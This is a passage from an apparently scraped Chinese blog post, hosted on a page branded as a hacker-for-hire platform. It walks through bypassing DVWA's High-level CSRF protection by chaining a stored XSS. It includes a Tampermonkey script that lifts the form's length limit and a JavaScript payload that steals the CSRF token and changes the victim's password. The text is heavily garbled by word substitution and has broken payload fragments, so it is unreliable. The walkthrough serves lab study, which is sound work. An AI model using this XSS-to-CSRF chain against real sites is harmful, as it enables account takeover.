DVWA 1.10 High等级的CSRF另类通关法-黑客接单平台

访客5年前黑客文章962
网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈 0×00 简略剖析一下CSRF后端逻辑 vulnerabilitiescsrfsourcehigh.php if( isset( $_GET[ 'Change' ] ) ) { // 验证 Token 假如不正确则跳转到index.php // dvwaincludesdvwaPage.inc.php:527 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //...中心省掉,只重视上下这两个函数... // 生成 Token , 使用了 md5( uniqid() ),所以简直不行能猜测到Token值 // dvwaincludesdvwaPage.inc.php:527 generateSessionToken(); ?> (这儿仅仅简略阐明一下逻辑,本站已有长辈详细剖析过源码) 因为使用了不行猜测到的token,所以咱们首要想到的思路,便是找一个XSS缝隙来合作,先经过XSS取得token之后修正暗码。 0×01 突破点 XSS-Stored vulnerabilitiesxss_ssourcehigh.php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags去除了HTML标签,htmlspecialchars 转义特别字符&"为实体 $message = strip_tags( addslashes( $message ) ); ... $message = htmlspecialchars( $message ); // $name并没有像上面相同严厉过滤,只用正则简略的做了除掉,导致了XSS的或许,可是有约束下面会说 $name = preg_replace( '/, '', $name ); ... // 将$message、$name刺进数据表 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; ... //mysql_close(); } ?> 这儿现已剖析确认了$name可被咱们利用做XSS,这样就可以合作CSRF来重置用户暗码了。 需求先阐明一下DVWA的数据库规划,guestbook表的name字段类型为varchar(100),也便是说最多name只能写入100个字符,超越的字符会被数据库扔掉不存储。 那么怎么做到bypass呢,便是本文要表达的重点了。 0×02 前端先设置油猴脚本 因为DVWA前端的Name字段约束长度10个字符,并且测验过程中发包次数许多,每次都要修正长度就很烦,这儿就可以让油猴替代咱们修正,当然你也可以用Burpsuite发包,我这儿只写了自己的测验办法。 *** W: 这儿没有修正DVWA后端源码,以保证跟我们的代码共同。 // ==UserScript== // @name 改掉DVWA烦人的长度约束 // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author F1tz // @match http://dvwa.lab/vulnerabilities/xss_s/ // @grant none // ==/UserScript== (function() { 'use strict'; var N = document.getElementsByName('txtName'); var M = document.getElementsByName('mtxMessage'); N[0].maxLength=100; N[0].size=60; M[0].value=1; })(); 装置脚本,并保证脚本处于启用状况。 这时候翻开测验页面,就可以直接输入最多100个字符了,并且Message会主动填入1。 下面开端测验。 0×03 一次失利的测验 结构payload: 先刺进了一个iframe标报到留言板 "../csrf"> 并在控制台履行测验payload句子 f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t; [1][2][3]黑客接单网

相关文章

做了这么多年的兄弟,才知道我们不一样!请不要将工控系统中的IT(信息技术)和OT(运营

在工业操控体系(ICS)的安全办理中,安全办理一般被分为3大块:物理设备的安全、IT安全和运营安全(工厂安全和体系完整性)。 现在在工业操控体系(ICS)的安全办理中,信息技能(IT)安全测验变得越来...

运用Subversion完成网站自动更新

Subversion概述     概述     Subversion,简称SVN,是一个开放源代码的版别控制体系,相对于的RCS、CVS,采用了分支办理体系。     网站更新拓扑结构       ...

Web缓存操控战略详解

Cache-Control 办理Web缓存的最常用和最有用的办法之一是经过Cache-Control HTTP标头,由于此标头适用于Web页面的缓存,这意味着咱们页面上的一切内容都能够具有十分精细化的...

小白的代码审计之路

 此文由猪八戒SRC,代码审计小鲜肉“呆呆的骗子大婶”倾情贡献~欢迎勾搭! 一、 代码 审计指令注入 PHP自带的函数中供给了几个能够履行体系指令的函数,在web项目的开发中一般是不会用到的,但...

恣意用户暗码重置(四):重置凭据未校验

在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

Web爬虫:多线程、异步与动态署理开始

在收集数据的时分,经常会碰到有反收集战略规矩的WAF,使得原本很简略工作变得复杂起来。黑名单、约束拜访频率、检测HTTP头号这些都是常见的战略,不按常理出牌的也有检测到爬虫行为,就往里注入假数据回来,...